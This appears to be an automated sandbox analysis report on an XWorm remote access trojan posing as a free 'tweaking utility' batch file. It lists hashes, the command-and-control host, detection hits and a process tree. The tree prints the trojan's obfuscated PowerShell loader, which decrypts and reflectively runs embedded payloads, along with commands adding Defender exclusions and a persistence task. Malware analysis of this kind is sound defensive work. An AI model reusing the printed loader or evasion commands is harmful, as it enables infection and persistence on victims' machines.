xworm | 7761d40ba646d274001e0243148781fbc722a64546ea208c0ba597265dbf6417

Analysis

max time kernel
40s
max time network
40s
platform
windows10-ltsc 2021_x64
resource
win10ltsc2021-20250113-en
resource tags

arch:x64arch:x86image:win10ltsc2021-20250113-enlocale:en-usos:windows10-ltsc 2021-x64system
submitted
18-01-2025 17:38

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General

Target

Velocity_Free_Tweaking_Utility.bat
Size

470KB
MD5

368de487ff6ae5103c3307a2e0bed635
SHA1

0147386ef6eaab1ead49b1c094df3cc68977a708
SHA256

7761d40ba646d274001e0243148781fbc722a64546ea208c0ba597265dbf6417
SHA512

7105f7bcf98fbb87ffcd9cae17e7cf4e7d3821724dce25a81f1a1e9c4bc24b69a1206dcb532a389759edeca33ce8283599d4bb73b353882dc5b76b47c126cab5
SSDEEP

12288:MKvMPgbu1gDThxx0uXGQUKAVXqdeNi7KDJCU2iQQ/Qa4NnK:MKFa1gTqIlA4eNiWDJSHPK

Score

10^/10

xworm execution persistence rat trojan

Malware Config

Extracted

Family

xworm

kitchen-alaska.gl.at.ply.gg:4964

Attributes

Install_directory
%AppData%
install_file
SubDir.exe

Signatures

Detect Xworm Payload 4 IoCs

resource	yara_rule
behavioral1/memory/4948-17-0x000001E06B530000-0x000001E06B5A2000-memory.dmp	family_xworm
behavioral1/memory/4948-84-0x000001E06B7B0000-0x000001E06B7C8000-memory.dmp	family_xworm
behavioral1/files/0x002a0000000461bd-125.dat	family_xworm
behavioral1/memory/1268-136-0x0000000000740000-0x0000000000758000-memory.dmp	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Xworm family
xworm

Blocklisted process makes network request 3 IoCs

flow	pid	Process
5	4948	powershell.exe
8	4948	powershell.exe
14	4948	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
3956	powershell.exe
2908	powershell.exe
2088	powershell.exe
4000	powershell.exe

Drops startup file 2 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SubDir.lnk	powershell.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SubDir.lnk	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
1268	XClient.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3454535599-122122096-1812617400-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SubDir = "C:\\Users\\Admin\\AppData\\Roaming\\SubDir.exe"	powershell.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
4	ip-api.com

Drops file in System32 directory 3 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\SubDir	svchost.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
4876	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4948	powershell.exe
4948	powershell.exe
4948	powershell.exe
4948	powershell.exe
4948	powershell.exe
4948	powershell.exe
4948	powershell.exe
4948	powershell.exe
4948	powershell.exe
4948	powershell.exe
4948	powershell.exe
4948	powershell.exe
4948	powershell.exe
4948	powershell.exe
4948	powershell.exe
4948	powershell.exe
4948	powershell.exe
4948	powershell.exe
4948	powershell.exe
4948	powershell.exe
4948	powershell.exe
4948	powershell.exe
4948	powershell.exe
4948	powershell.exe
4948	powershell.exe
4948	powershell.exe
4948	powershell.exe
4948	powershell.exe
4948	powershell.exe
4948	powershell.exe
4948	powershell.exe
4948	powershell.exe
4948	powershell.exe
4948	powershell.exe
4948	powershell.exe
4948	powershell.exe
4948	powershell.exe
4000	powershell.exe
4000	powershell.exe
4948	powershell.exe
4948	powershell.exe
4948	powershell.exe
3956	powershell.exe
3956	powershell.exe
4948	powershell.exe
4948	powershell.exe
4948	powershell.exe
2908	powershell.exe
2908	powershell.exe
4948	powershell.exe
4948	powershell.exe
4948	powershell.exe
2088	powershell.exe
2088	powershell.exe
4948	powershell.exe
4948	powershell.exe
4948	powershell.exe
4948	powershell.exe
4948	powershell.exe
4948	powershell.exe
4948	powershell.exe
4948	powershell.exe
4948	powershell.exe
4948	powershell.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
3512	Explorer.EXE

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4948	powershell.exe
Token: SeDebugPrivilege	1268	XClient.exe
Token: SeShutdownPrivilege	3512	Explorer.EXE
Token: SeCreatePagefilePrivilege	3512	Explorer.EXE
Token: SeShutdownPrivilege	3512	Explorer.EXE
Token: SeCreatePagefilePrivilege	3512	Explorer.EXE
Token: SeAssignPrimaryTokenPrivilege	2220	svchost.exe
Token: SeIncreaseQuotaPrivilege	2220	svchost.exe
Token: SeSecurityPrivilege	2220	svchost.exe
Token: SeTakeOwnershipPrivilege	2220	svchost.exe
Token: SeLoadDriverPrivilege	2220	svchost.exe
Token: SeSystemtimePrivilege	2220	svchost.exe
Token: SeBackupPrivilege	2220	svchost.exe
Token: SeRestorePrivilege	2220	svchost.exe
Token: SeShutdownPrivilege	2220	svchost.exe
Token: SeSystemEnvironmentPrivilege	2220	svchost.exe
Token: SeUndockPrivilege	2220	svchost.exe
Token: SeManageVolumePrivilege	2220	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2220	svchost.exe
Token: SeIncreaseQuotaPrivilege	2220	svchost.exe
Token: SeSecurityPrivilege	2220	svchost.exe
Token: SeTakeOwnershipPrivilege	2220	svchost.exe
Token: SeLoadDriverPrivilege	2220	svchost.exe
Token: SeSystemtimePrivilege	2220	svchost.exe
Token: SeBackupPrivilege	2220	svchost.exe
Token: SeRestorePrivilege	2220	svchost.exe
Token: SeShutdownPrivilege	2220	svchost.exe
Token: SeSystemEnvironmentPrivilege	2220	svchost.exe
Token: SeUndockPrivilege	2220	svchost.exe
Token: SeManageVolumePrivilege	2220	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2220	svchost.exe
Token: SeIncreaseQuotaPrivilege	2220	svchost.exe
Token: SeSecurityPrivilege	2220	svchost.exe
Token: SeTakeOwnershipPrivilege	2220	svchost.exe
Token: SeLoadDriverPrivilege	2220	svchost.exe
Token: SeSystemtimePrivilege	2220	svchost.exe
Token: SeBackupPrivilege	2220	svchost.exe
Token: SeRestorePrivilege	2220	svchost.exe
Token: SeShutdownPrivilege	2220	svchost.exe
Token: SeSystemEnvironmentPrivilege	2220	svchost.exe
Token: SeUndockPrivilege	2220	svchost.exe
Token: SeManageVolumePrivilege	2220	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2220	svchost.exe
Token: SeIncreaseQuotaPrivilege	2220	svchost.exe
Token: SeSecurityPrivilege	2220	svchost.exe
Token: SeTakeOwnershipPrivilege	2220	svchost.exe
Token: SeLoadDriverPrivilege	2220	svchost.exe
Token: SeSystemtimePrivilege	2220	svchost.exe
Token: SeBackupPrivilege	2220	svchost.exe
Token: SeRestorePrivilege	2220	svchost.exe
Token: SeShutdownPrivilege	2220	svchost.exe
Token: SeSystemEnvironmentPrivilege	2220	svchost.exe
Token: SeUndockPrivilege	2220	svchost.exe
Token: SeManageVolumePrivilege	2220	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2220	svchost.exe
Token: SeIncreaseQuotaPrivilege	2220	svchost.exe
Token: SeSecurityPrivilege	2220	svchost.exe
Token: SeTakeOwnershipPrivilege	2220	svchost.exe
Token: SeLoadDriverPrivilege	2220	svchost.exe
Token: SeSystemtimePrivilege	2220	svchost.exe
Token: SeBackupPrivilege	2220	svchost.exe
Token: SeRestorePrivilege	2220	svchost.exe
Token: SeShutdownPrivilege	2220	svchost.exe
Token: SeSystemEnvironmentPrivilege	2220	svchost.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4860 wrote to memory of 3296	4860	cmd.exe	82
PID 4860 wrote to memory of 3296	4860	cmd.exe	82
PID 4860 wrote to memory of 4948	4860	cmd.exe	83
PID 4860 wrote to memory of 4948	4860	cmd.exe	83
PID 4948 wrote to memory of 3512	4948	powershell.exe	56
PID 4948 wrote to memory of 2752	4948	powershell.exe	46
PID 4948 wrote to memory of 1168	4948	powershell.exe	20
PID 4948 wrote to memory of 1752	4948	powershell.exe	31
PID 4948 wrote to memory of 3520	4948	powershell.exe	57
PID 4948 wrote to memory of 2532	4948	powershell.exe	44
PID 4948 wrote to memory of 2524	4948	powershell.exe	43
PID 4948 wrote to memory of 1932	4948	powershell.exe	34
PID 4948 wrote to memory of 2324	4948	powershell.exe	41
PID 4948 wrote to memory of 1532	4948	powershell.exe	27
PID 4948 wrote to memory of 1728	4948	powershell.exe	30
PID 4948 wrote to memory of 1924	4948	powershell.exe	33
PID 4948 wrote to memory of 740	4948	powershell.exe	15
PID 4948 wrote to memory of 1520	4948	powershell.exe	26
PID 4948 wrote to memory of 1124	4948	powershell.exe	19
PID 4948 wrote to memory of 1456	4948	powershell.exe	25
PID 4948 wrote to memory of 2692	4948	powershell.exe	45
PID 4948 wrote to memory of 2292	4948	powershell.exe	40
PID 4948 wrote to memory of 1944	4948	powershell.exe	35
PID 4948 wrote to memory of 908	4948	powershell.exe	11
PID 4948 wrote to memory of 3664	4948	powershell.exe	58
PID 4948 wrote to memory of 1492	4948	powershell.exe	67
PID 4948 wrote to memory of 4148	4948	powershell.exe	73
PID 4948 wrote to memory of 1680	4948	powershell.exe	29
PID 4948 wrote to memory of 1284	4948	powershell.exe	22
PID 4948 wrote to memory of 2380	4948	powershell.exe	70
PID 4948 wrote to memory of 3508	4948	powershell.exe	71
PID 4948 wrote to memory of 3052	4948	powershell.exe	51
PID 4948 wrote to memory of 956	4948	powershell.exe	12
PID 4948 wrote to memory of 1856	4948	powershell.exe	32
PID 4948 wrote to memory of 2840	4948	powershell.exe	49
PID 4948 wrote to memory of 1392	4948	powershell.exe	36
PID 4948 wrote to memory of 664	4948	powershell.exe	16
PID 4948 wrote to memory of 3208	4948	powershell.exe	55
PID 4948 wrote to memory of 2220	4948	powershell.exe	39
PID 4948 wrote to memory of 1428	4948	powershell.exe	24
PID 4948 wrote to memory of 404	4948	powershell.exe	13
PID 4948 wrote to memory of 2800	4948	powershell.exe	48
PID 4948 wrote to memory of 2404	4948	powershell.exe	42
PID 4948 wrote to memory of 1216	4948	powershell.exe	21
PID 4948 wrote to memory of 744	4948	powershell.exe	14
PID 4948 wrote to memory of 792	4948	powershell.exe	10
PID 4948 wrote to memory of 1396	4948	powershell.exe	23
PID 4948 wrote to memory of 1672	4948	powershell.exe	28
PID 4948 wrote to memory of 800	4948	powershell.exe	66
PID 4948 wrote to memory of 996	4948	powershell.exe	17
PID 4948 wrote to memory of 1584	4948	powershell.exe	37
PID 4948 wrote to memory of 1796	4948	powershell.exe	84
PID 4948 wrote to memory of 1796	4948	powershell.exe	84
PID 4948 wrote to memory of 1268	4948	powershell.exe	86
PID 4948 wrote to memory of 1268	4948	powershell.exe	86
PID 1796 wrote to memory of 3548	1796	cmd.exe	87
PID 1796 wrote to memory of 3548	1796	cmd.exe	87
PID 1796 wrote to memory of 3724	1796	cmd.exe	88
PID 1796 wrote to memory of 3724	1796	cmd.exe	88
PID 1796 wrote to memory of 3596	1796	cmd.exe	89
PID 1796 wrote to memory of 3596	1796	cmd.exe	89
PID 1796 wrote to memory of 2352	1796	cmd.exe	90
PID 1796 wrote to memory of 2352	1796	cmd.exe	90
PID 1796 wrote to memory of 1352	1796	cmd.exe	91

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p
1⤵
PID:792
- C:\Windows\system32\wbem\wmiprvse.exe
  C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
  2⤵
  PID:4308
- C:\Windows\system32\wbem\wmiprvse.exe
  C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
  2⤵
  PID:1892
- C:\Windows\System32\RuntimeBroker.exe
  C:\Windows\System32\RuntimeBroker.exe -Embedding
  2⤵
  PID:1992

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k RPCSS -p
1⤵
PID:908

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
1⤵
PID:956

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
1⤵
PID:404

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
1⤵
PID:744

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
1⤵
PID:740

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
1⤵
PID:664

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
1⤵
PID:996

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
1⤵
PID:1124

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
1⤵
PID:1168

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNoNetwork -p
1⤵
PID:1216

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
1⤵
- Drops file in System32 directory
PID:1284

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
1⤵
PID:1396

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
1⤵
PID:1428

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc
1⤵
PID:1456

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
1⤵
PID:1520

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
1⤵
PID:1532

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
1⤵
PID:1672

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
1⤵
PID:1680

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s netprofm
1⤵
PID:1728

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
1⤵
PID:1752

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1856

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1924

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache
1⤵
PID:1932

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1944

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
1⤵
PID:1392

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
1⤵
PID:1584

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2220

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNoNetworkFirewall -p
1⤵
PID:2292

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
1⤵
PID:2324

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
1⤵
PID:2404

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
1⤵
PID:2524

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
1⤵
PID:2532

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc
1⤵
- Drops file in System32 directory
PID:2692

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
1⤵
PID:2752

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
1⤵
PID:2800

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
1⤵
PID:2840

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
1⤵
PID:3052

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker
1⤵
PID:3208

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
PID:3512
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Velocity_Free_Tweaking_Utility.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4860
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('QnpmxQANU729MWfimT9pRBSpyJbPXXn82T+WpDZPl7k='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('XI5lMeQ6bxkYFYuitmF2dw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $BTAyb=New-Object System.IO.MemoryStream(,$param_var); $uuueC=New-Object System.IO.MemoryStream; $QoOjO=New-Object System.IO.Compression.GZipStream($BTAyb, [IO.Compression.CompressionMode]::Decompress); $QoOjO.CopyTo($uuueC); $QoOjO.Dispose(); $BTAyb.Dispose(); $uuueC.Dispose(); $uuueC.ToArray();}function execute_function($param_var,$param2_var){ $mxfiw=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $WfALI=$mxfiw.EntryPoint; $WfALI.Invoke($null, $param2_var);}$bcPKQ = 'C:\Users\Admin\AppData\Local\Temp\Velocity_Free_Tweaking_Utility.bat';$host.UI.RawUI.WindowTitle = $bcPKQ;$hlmzn=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($bcPKQ).Split([Environment]::NewLine);foreach ($fqbiG in $hlmzn) { if ($fqbiG.StartsWith('jQaeeWFGbtZvamaElQrD')) { $BLrbP=$fqbiG.Substring(20); break; }}$payloads_var=[string[]]$BLrbP.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
    3⤵
    PID:3296
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"
    3⤵
    - Blocklisted process makes network request
    - Drops startup file
    - Adds Run key to start application
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:4948
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\Velocity_Free_Tweaking_Utility.bat" "
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1796
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "prompt #$H#$E# & echo on & for %b in (1) do rem"
        5⤵
        
        PID:3548
    - - C:\Windows\system32\chcp.com
        
        chcp 65001
        5⤵
        
        PID:3724
    - - C:\Windows\system32\mode.com
        
        mode 1000
        5⤵
        
        PID:3596
    - - C:\Windows\system32\findstr.exe
        
        findstr /v /a:F /R "^$" " [" nul
        5⤵
        
        PID:2352
    - - C:\Windows\system32\findstr.exe
        
        findstr /v /a:5 /R "^$" "0" nul
        5⤵
        
        PID:1352
    - - C:\Windows\system32\findstr.exe
        
        findstr /v /a:F /R "^$" "]" nul
        5⤵
        
        PID:3976
    - - C:\Windows\system32\findstr.exe
        
        findstr /v /a:F /R "^$" " [" nul
        5⤵
        
        PID:456
    - - C:\Windows\system32\findstr.exe
        
        findstr /v /a:5 /R "^$" "1" nul
        5⤵
        
        PID:2504
    - - C:\Windows\system32\findstr.exe
        
        findstr /v /a:F /R "^$" "]" nul
        5⤵
        
        PID:2348
    - - C:\Windows\system32\findstr.exe
        
        findstr /v /a:F /R "^$" " [" nul
        5⤵
        
        PID:4224
    - - C:\Windows\system32\findstr.exe
        
        findstr /v /a:5 /R "^$" "2" nul
        5⤵
        
        PID:2340
    - - C:\Windows\system32\findstr.exe
        
        findstr /v /a:F /R "^$" "]" nul
        5⤵
        
        PID:472
    - - C:\Windows\system32\findstr.exe
        
        findstr /v /a:F /R "^$" " [" nul
        5⤵
        
        PID:5008
    - - C:\Windows\system32\findstr.exe
        
        findstr /v /a:5 /R "^$" "3" nul
        5⤵
        
        PID:4904
    - - C:\Windows\system32\findstr.exe
        
        findstr /v /a:F /R "^$" "]" nul
        5⤵
        
        PID:4464
    - - C:\Windows\system32\findstr.exe
        
        findstr /v /a:F /R "^$" " [" nul
        5⤵
        
        PID:756
    - - C:\Windows\system32\findstr.exe
        
        findstr /v /a:5 /R "^$" "4" nul
        5⤵
        
        PID:1576
    - - C:\Windows\system32\findstr.exe
        
        findstr /v /a:F /R "^$" "]" nul
        5⤵
        
        PID:1828
    - - C:\Windows\system32\findstr.exe
        
        findstr /v /a:F /R "^$" " [" nul
        5⤵
        
        PID:2620
    - - C:\Windows\system32\findstr.exe
        
        findstr /v /a:5 /R "^$" "5" nul
        5⤵
        
        PID:4292
    - - C:\Windows\system32\findstr.exe
        
        findstr /v /a:F /R "^$" "]" nul
        5⤵
        
        PID:3616
    - - C:\Windows\system32\findstr.exe
        
        findstr /v /a:F /R "^$" " [" nul
        5⤵
        
        PID:2132
    - - C:\Windows\system32\findstr.exe
        
        findstr /v /a:5 /R "^$" "6" nul
        5⤵
        
        PID:4192
    - - C:\Windows\system32\findstr.exe
        
        findstr /v /a:F /R "^$" "]" nul
        5⤵
        
        PID:3132
    - - C:\Windows\system32\findstr.exe
        
        findstr /v /a:F /R "^$" " [" nul
        5⤵
        
        PID:3232
    - - C:\Windows\system32\findstr.exe
        
        findstr /v /a:5 /R "^$" "7" nul
        5⤵
        
        PID:3692
    - - C:\Windows\system32\findstr.exe
        
        findstr /v /a:F /R "^$" "]" nul
        5⤵
        
        PID:3816
    - - C:\Windows\system32\findstr.exe
        
        findstr /v /a:F /R "^$" " [" nul
        5⤵
        
        PID:420
    - - C:\Windows\system32\findstr.exe
        
        findstr /v /a:5 /R "^$" "8" nul
        5⤵
        
        PID:4032
    - - C:\Windows\system32\findstr.exe
        
        findstr /v /a:F /R "^$" "]" nul
        5⤵
        
        PID:3576
    - - C:\Windows\system32\findstr.exe
        
        findstr /v /a:F /R "^$" " [" nul
        5⤵
        
        PID:1508
    - - C:\Windows\system32\findstr.exe
        
        findstr /v /a:5 /R "^$" "9" nul
        5⤵
        
        PID:4624
    - - C:\Windows\system32\findstr.exe
        
        findstr /v /a:F /R "^$" "]" nul
        5⤵
        
        PID:2240
    - - C:\Windows\system32\findstr.exe
        
        findstr /v /a:F /R "^$" " [" nul
        5⤵
        
        PID:3644
    - - C:\Windows\system32\findstr.exe
        
        findstr /v /a:5 /R "^$" "10" nul
        5⤵
        
        PID:704
    - - C:\Windows\system32\findstr.exe
        
        findstr /v /a:F /R "^$" "]" nul
        5⤵
        
        PID:320
  - - C:\Users\Admin\AppData\Local\Temp\XClient.exe
      "C:\Users\Admin\AppData\Local\Temp\XClient.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of AdjustPrivilegeToken
      PID:1268
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:4000
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'powershell.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:3956
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\SubDir.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:2908
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'SubDir.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:2088
  - - C:\Windows\System32\schtasks.exe
      "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "SubDir" /tr "C:\Users\Admin\AppData\Roaming\SubDir.exe"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:4876
- - C:\Windows\system32\reg.exe
    Reg.exe add "HKCU\Control Panel\Cursors" /v "Wait" /t REG_EXPAND_SZ /d "" /f
    3⤵
    PID:4680
- - C:\Windows\system32\reg.exe
    Reg.exe add "HKCU\Control Panel\Cursors" /ve /t REG_SZ /d "" /f
    3⤵
    PID:1152
- - C:\Windows\system32\reg.exe
    Reg.exe add "HKLM\SYSTEM\CurrentControlSet\Control\PriorityControl" /v "Win32PrioritySeparation" /t REG_DWORD /d "40" /f
    3⤵
    PID:4044
- - C:\Windows\system32\reg.exe
    Reg.exe add "HKLM\SYSTEM\CurrentControlSet\Control\PriorityControl" /v "IRQ8Priority" /t REG_DWORD /d "1" /f
    3⤵
    PID:2760
- - C:\Windows\system32\reg.exe
    Reg.exe add "HKLM\SYSTEM\CurrentControlSet\Control\PriorityControl" /v "IRQ16Priority" /t REG_DWORD /d "2" /f
    3⤵
    PID:3972
- - C:\Windows\system32\reg.exe
    Reg.exe add "HKLM\SYSTEM\CurrentControlSet\Control\PriorityControl" /v "ConvertibleSlateMode" /t REG_DWORD /d "0" /f
    3⤵
    PID:1848
- - C:\Windows\system32\reg.exe
    Reg.exe add "HKLM\System\CurrentControlSet\Control\CrashControl" /v "DisplayParameters" /t REG_DWORD /d "1" /f
    3⤵
    PID:3504
- - C:\Windows\system32\reg.exe
    Reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\GoogleChromeElevationService" /v "Start" /t REG_DWORD /d "4" /f
    3⤵
    PID:320
- - C:\Windows\system32\reg.exe
    Reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\gupdate" /v "Start" /t REG_DWORD /d "4" /f
    3⤵
    PID:1252
- - C:\Windows\system32\reg.exe
    Reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\gupdatem" /v "Start" /t REG_DWORD /d "4" /f
    3⤵
    PID:1600
- - C:\Windows\system32\reg.exe
    Reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\MicrosoftEdgeElevationService" /v "Start" /t REG_DWORD /d "4" /f
    3⤵
    PID:2436
- - C:\Windows\system32\reg.exe
    Reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\edgeupdate" /v "Start" /t REG_DWORD /d "4" /f
    3⤵
    PID:3744
- - C:\Windows\system32\reg.exe
    Reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\edgeupdatem" /v "Start" /t REG_DWORD /d "4" /f
    3⤵
    PID:1156
- - C:\Windows\system32\reg.exe
    Reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\MozillaMaintenance" /v "Start" /t REG_DWORD /d "4" /f
    3⤵
    PID:636
- - C:\Windows\system32\reg.exe
